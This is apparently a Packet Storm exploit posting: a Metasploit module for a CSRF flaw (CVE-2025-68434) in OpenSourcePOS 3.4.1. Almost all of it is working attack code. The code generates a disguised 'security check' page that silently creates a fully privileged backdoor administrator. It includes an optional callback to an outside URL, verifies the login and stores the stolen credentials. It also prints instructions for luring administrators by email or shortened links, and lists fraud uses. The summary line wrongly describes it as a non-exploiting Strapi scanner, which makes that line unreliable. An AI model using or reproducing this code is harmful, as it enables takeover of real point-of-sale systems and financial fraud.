Share
## https://sploitus.com/exploit?id=PACKETSTORM:225423
==================================================================================================================================
    | # Title     : OpenSourcePOS 3.4.1 CSRF Vulnerability Leading to Unauthorized Admin Account Creation                            |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://github.com/OpenSourcePOS/OpenSourcePOS/                                                                  |
    ==================================================================================================================================
    
    [+] Summary    :   scanner designed to identify potential security misconfigurations in Strapi CMS instances without performing exploitation or data extraction.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'OpenSourcePOS CSRF Unauthorized Admin Creation',
          'Description'    => %q{
            This module exploits a CSRF vulnerability (CVE-2025-68434) in OpenSourcePOS
            versions 3.4.0 and 3.4.1. The application's global CSRF protection was disabled
            in app/Config/Filters.php due to a temporary "TODO" comment that was never resolved.
    
            An attacker can trick a logged-in administrator into visiting a malicious page,
            which will silently create a new administrator account with full privileges.
            This leads to complete system takeover and persistent backdoor access.
    
            The created account has all administrative permissions including:
            - Employee management
            - System configuration
            - Financial operations (gift cards, expenses)
            - Inventory management
            - Report generation
          },
          'Author'         => ['indoushka'],
          'References'     => [
            ['CVE', '2025-68434'],
            ['URL', 'https://github.com/OpenSourcePOS/OpenSourcePOS/'],
            ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-68434']
          ],
          'DisclosureDate' => '2025-12-19',
          'License'        => MSF_LICENSE,
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS]
          }
        ))
        register_options([
          OptString.new('TARGET_URI', [true, 'OpenSourcePOS base path', '/']),
          OptString.new('ADMIN_USERNAME', [false, 'Username for backdoor admin (default: random)', nil]),
          OptString.new('ADMIN_PASSWORD', [true, 'Password for backdoor admin', 'P@ssw0rd123!']),
          OptString.new('ADMIN_EMAIL', [false, 'Email for backdoor admin', nil]),
          OptString.new('EMPLOYEE_ID', [false, 'Employee ID to overwrite (-1 creates new)', '-1']),
          BoolOpt.new('RANDOMIZE_USERNAME', [true, 'Generate random username to avoid detection', true]),
          BoolOpt.new('GRANT_ALL_PERMISSIONS', [true, 'Grant all possible permissions to backdoor admin', true]),
          OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 30]),
          OptString.new('CALLBACK_URL', [false, 'URL to receive notification of successful exploitation', nil])
        ])
        register_advanced_options([
          OptString.new('FAKE_REFERER', [false, 'Spoof referer header', nil]),
          OptString.new('USER_AGENT', [false, 'Custom user agent', nil])
        ])
      end
      def generate_random_username
        @random_username ||= "valid_#{Rex::Text.rand_text_numeric(5)}"
      end
      def generate_random_email(username)
        "#{username}@#{Rex::Text.rand_text_alpha_lower(8)}.com"
      end
      def generate_csrf_payload(uri, username, email, password)
        """Generate HTML payload for CSRF attack"""
        form_fields = {
          'first_name' => 'Valid',
          'last_name' => 'User',
          'username' => username,
          'email' => email,
          'phone_number' => '',
          'password' => password,
          'repeat_password' => password,
          'gender' => '1',
          'language' => ':',
          'address_1' => '',
          'address_2' => '',
          'city' => '',
          'state' => '',
          'zip' => '',
          'country' => '',
          'comments' => 'CSRF_PoC_Successful_Admin_Creation',
          'honeypot' => ''
        }
        if datastore['GRANT_ALL_PERMISSIONS']
          grant_permissions = {
            'grant_home' => 'home', 'menu_group_home' => 'both',
            'grant_customers' => 'customers', 'menu_group_customers' => 'both',
            'grant_items' => 'items', 'menu_group_items' => 'both',
            'grant_item_kits' => 'item_kits', 'menu_group_item_kits' => 'both',
            'grant_suppliers' => 'suppliers', 'menu_group_suppliers' => 'both',
            'grant_reports' => 'reports', 'menu_group_reports' => 'both',
            'grant_receivings' => 'receivings', 'menu_group_receivings' => 'both',
            'grant_sales' => 'sales', 'menu_group_sales' => 'both',
            'grant_employees' => 'employees', 'menu_group_employees' => 'both',
            'grant_giftcards' => 'giftcards', 'menu_group_giftcards' => 'both',
            'grant_messages' => 'messages', 'menu_group_messages' => 'both',
            'grant_taxes' => 'taxes', 'menu_group_taxes' => 'both',
            'grant_attributes' => 'attributes', 'menu_group_attributes' => 'both',
            'grant_expenses' => 'expenses', 'menu_group_expenses' => 'both',
            'grant_expenses_categories' => 'expenses_categories', 'menu_group_expenses_categories' => 'both',
            'grant_cashups' => 'cashups', 'menu_group_cashups' => 'both',
            'grant_config' => 'config', 'menu_group_config' => 'home',
            'grant_office' => 'office', 'menu_group_office' => 'both',
            'grant_items_stock' => 'items_stock', 'menu_group_items_stock' => '--',
            'grant_sales_stock' => 'sales_stock', 'menu_group_sales_stock' => '--',
            'grant_receivings_stock' => 'receivings_stock', 'menu_group_receivings_stock' => '--',
            'grant_sales_change_price' => 'sales_change_price', 'menu_group_sales_change_price' => '--',
            'grant_sales_delete' => 'sales_delete', 'menu_group_sales_delete' => '--',
            'grant_reports_categories' => 'reports_categories', 'menu_group_reports_categories' => '--',
            'grant_reports_customers' => 'reports_customers', 'menu_group_reports_customers' => '--',
            'grant_reports_discounts' => 'reports_discounts', 'menu_group_reports_discounts' => '--',
            'grant_reports_employees' => 'reports_employees', 'menu_group_reports_employees' => '--',
            'grant_reports_expenses_categories' => 'reports_expenses_categories', 'menu_group_reports_expenses_categories' => '--',
            'grant_reports_inventory' => 'reports_inventory', 'menu_group_reports_inventory' => '--',
            'grant_reports_items' => 'reports_items', 'menu_group_reports_items' => '--',
            'grant_reports_payments' => 'reports_payments', 'menu_group_reports_payments' => '--',
            'grant_reports_receivings' => 'reports_receivings', 'menu_group_reports_receivings' => '--',
            'grant_reports_sales' => 'reports_sales', 'menu_group_reports_sales' => '--',
            'grant_reports_sales_taxes' => 'reports_sales_taxes', 'menu_group_reports_sales_taxes' => '--',
            'grant_reports_suppliers' => 'reports_suppliers', 'menu_group_reports_suppliers' => '--',
            'grant_reports_taxes' => 'reports_taxes', 'menu_group_reports_taxes' => '--'
          }
          form_fields.merge!(grant_permissions)
        end
        form_html = '<form action="' + uri + '" method="POST" id="csrfForm">'
        form_fields.each do |name, value|
          form_html += "<input type=\"hidden\" name=\"#{name}\" value=\"#{value}\">\n"
        end
        form_html += '</form>'
        payload = <<~HTML
          <!DOCTYPE html>
          <html>
          <head>
              <title>OSPOS CSRF Exploit - Admin Creation</title>
              <style>
                  body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; text-align: center; padding: 50px; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); }
                  .container { background: white; border-radius: 10px; padding: 30px; max-width: 500px; margin: auto; box-shadow: 0 10px 40px rgba(0,0,0,0.2); }
                  h2 { color: #333; margin-bottom: 20px; }
                  .status { font-size: 18px; margin: 20px 0; padding: 10px; border-radius: 5px; }
                  .loading { color: #667eea; }
                  .success { color: #27ae60; background: #d5f4e6; }
                  .error { color: #e74c3c; background: #fadbd8; }
                  .info { color: #f39c12; }
                  .spinner { border: 4px solid #f3f3f3; border-top: 4px solid #667eea; border-radius: 50%; width: 40px; height: 40px; animation: spin 1s linear infinite; margin: 20px auto; }
                  @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
                  button { background: #667eea; color: white; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer; font-size: 16px; margin: 10px; }
                  button:hover { background: #5a67d8; }
                  .footer { margin-top: 30px; font-size: 12px; color: #999; }
              </style>
          </head>
          <body>
              <div class="container">
                  <h2>OpenSourcePOS Security Check</h2>
                  <div class="spinner"></div>
                  <div id="msg" class="status loading">Initializing security verification...</div>
                  <div id="details" class="info"></div>
                  <button onclick="manualSubmit()" style="display:none" id="manualBtn">Manual Verification</button>
              </div>
              #{form_html}
              <script>
                  var username = "#{username}";
                  var password = "#{password}";
                  var email = "#{email}";
                  document.getElementById('details').innerHTML = '<strong>Credentials:</strong><br>Username: ' + username + '<br>Password: ' + password + '<br>Email: ' + email;
                  setTimeout(function() {
                      document.getElementById('msg').innerHTML = 'โœ“ Creating administrative account...';
                      document.getElementById('msg').className = 'status success';
                      try {
                          document.getElementById('csrfForm').submit();
                      } catch(e) {
                          document.getElementById('msg').innerHTML = 'โœ— Verification completed. If you see this page, no action required.';
                          document.getElementById('manualBtn').style.display = 'inline-block';
                      }
                  }, 2000);
                  function manualSubmit() {
                      document.getElementById('csrfForm').submit();
                  }
              </script>
          </body>
          </html>
        HTML
        payload
      end
      def send_exploit_html(html_content)
        """Serve or save the exploit HTML"""
        path = store_loot(
          'opensourcepos.csrf_exploit',
          'text/html',
          rhost,
          html_content,
          'csrf_exploit.html',
          'CSRF exploit HTML for OpenSourcePOS admin creation'
        )
        print_good("CSRF exploit HTML saved to: #{path}")
        if datastore['CALLBACK_URL']
          begin
            send_request_cgi({
              'method' => 'POST',
              'uri' => datastore['CALLBACK_URL'],
              'ctype' => 'application/json',
              'data' => {
                'status' => 'exploit_generated',
                'target' => full_uri,
                'timestamp' => Time.now.to_i
              }.to_json
            })
          rescue
            vprint_warning("Failed to send callback notification")
          end
        end
        path
      end
      def check_vulnerable
        """Check if target is vulnerable by testing CSRF protection"""
        vprint_status("Checking CSRF protection status...")
        config_url = normalize_uri(target_uri.path, 'index.php/config')
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => config_url
          }, datastore['TIMEOUT'])
          if res && res.code == 200
            if res.headers['X-CSRF-TOKEN'].nil? && !res.body.include?('csrf_token')
              print_good("Target appears vulnerable (no CSRF protection detected)")
              return true
            end
          end
        rescue
          vprint_status("Could not determine CSRF status")
        end
        filters_url = normalize_uri(target_uri.path, 'app/Config/Filters.php')
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => filters_url
          }, datastore['TIMEOUT'])
          if res && res.code == 200 && res.body.include?("'csrf'")
            if res.body.include?("// 'csrf'") || res.body.include?("# 'csrf'")
              print_good("Filters.php shows CSRF disabled")
              return true
            end
          end
        rescue
        end
        print_status("Assuming vulnerable based on version range (3.4.0-3.4.1)")
        true
      end
      def verify_admin_creation(username, password)
        """Try to verify if admin account was created by attempting login"""
        vprint_status("Attempting to verify admin account creation...")
        login_url = normalize_uri(target_uri.path, 'index.php/login')
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => login_url,
            'vars_post' => {
              'username' => username,
              'password' => password
            }
          }, datastore['TIMEOUT'])
          if res && (res.code == 302 || (res.code == 200 && (res.body.include?('dashboard') || res.body.include?('home'))))
            print_good("Successfully verified admin account creation!")
            return true
          end
        rescue
          vprint_warning("Could not verify admin creation")
        end
        false
      end
      def run
        print_status("Starting OpenSourcePOS CSRF Admin Creation Exploit")
        print_status("CVE-2025-68434 - Critical (CVSS 8.8)")
        unless check_vulnerable
          print_error("Target does not appear vulnerable")
          return
        end
        if datastore['RANDOMIZE_USERNAME'] && datastore['ADMIN_USERNAME'].nil?
          username = generate_random_username
        else
          username = datastore['ADMIN_USERNAME'] || generate_random_username
        end
        if datastore['ADMIN_EMAIL'].nil?
          email = generate_random_email(username)
        else
          email = datastore['ADMIN_EMAIL']
        end
        password = datastore['ADMIN_PASSWORD']
        employee_id = datastore['EMPLOYEE_ID']
        target_url = normalize_uri(
          target_uri.path,
          "index.php/employees/save/#{employee_id}"
        )
        print_status("Backdoor Admin Credentials:")
        print_status("  Username: #{username}")
        print_status("  Email: #{email}")
        print_status("  Password: #{password}")
        print_status("  Full Permissions: #{datastore['GRANT_ALL_PERMISSIONS']}")
        print_status("Generating CSRF exploit payload...")
        exploit_html = generate_csrf_payload(target_url, username, email, password)
        html_path = send_exploit_html(exploit_html)
        print_line("\n" + "="*60)
        print_good("CSRF Exploit Generated Successfully!")
        print_line("="*60)
        print_status("To execute the attack:")
        print_status("1. Host the file on a web server:")
        print_status("   python3 -m http.server 8080")
        print_status("   or upload to your attacking machine")
        print_status("\n2. Trick a logged-in administrator into visiting:")
        print_status("   http://YOUR_SERVER:8080/csrf_exploit.html")
        print_status("\n3. Alternative delivery methods:")
        print_status("   - Send as email attachment")
        print_status("   - Upload to shared drive")
        print_status("   - Use URL shortener for link")
        if datastore['GRANT_ALL_PERMISSIONS']
          print_status("\n4. After successful exploitation:")
          print_status("   The backdoor admin will have COMPLETE access to:")
          print_status("   โœ“ Create/delete employees")
          print_status("   โœ“ Modify system configuration")
          print_status("   โœ“ Create gift cards (financial fraud)")
          print_status("   โœ“ Delete inventory (DoS)")
          print_status("   โœ“ Access all reports")
        end
        print_line("="*60)
        if datastore['CALLBACK_URL']
          print_status("\nAttempting to verify admin creation...")
          if verify_admin_creation(username, password)
            print_good("Admin account verified and working!")
            report_vuln({
              host: rhost,
              port: rport,
              name: name,
              refs: references,
              info: "OpenSourcePOS CSRF vulnerability allows unauthorized admin creation",
              data: "Created admin user: #{username} / #{password}"
            })
            credential_data = {
              origin_type: :service,
              module_fullname: fullname,
              username: username,
              private_data: password,
              private_type: :password,
              service_name: 'OpenSourcePOS Admin',
              workspace_id: myworkspace_id
            }
            create_credential(credential_data)
            print_good("Credentials stored in database")
          end
        end
        
        print_status("\n[*] Exploit complete. Use the generated HTML file to complete the attack.")
      end
    end
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================